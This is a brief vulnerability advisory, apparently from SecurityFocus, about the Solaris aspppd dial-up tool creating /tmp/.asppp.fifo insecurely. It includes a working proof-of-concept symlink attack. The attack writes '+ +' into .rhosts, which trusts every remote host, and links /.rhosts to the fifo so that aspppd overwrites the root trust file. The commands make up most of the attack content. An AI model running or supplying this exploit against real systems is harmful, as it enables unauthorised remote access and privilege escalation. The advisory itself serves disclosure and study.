8 lines
No EOL
563 B
Text
8 lines
No EOL
563 B
Text
source: http://www.securityfocus.com/bid/292/info
|
|
|
|
Aspppd is a tool shipped with Solaris for dial up PPP access. This tool creates files in the /tmp directory insecurely (in particular /tmp/.asppp.fifo) allowing other users to link to these files an possibly elevate their privelages. This program is not by default shipped with SUID root privelages so an attacker will therefore only be able to write to files (via a symlink attack) as the user exectuing aspppd.
|
|
|
|
$ echo "+ +" >> .rhosts
|
|
$ ln -s /.rhosts /tmp/.asppp.fifo
|
|
|
|
Wait for asppd to be excecuted. |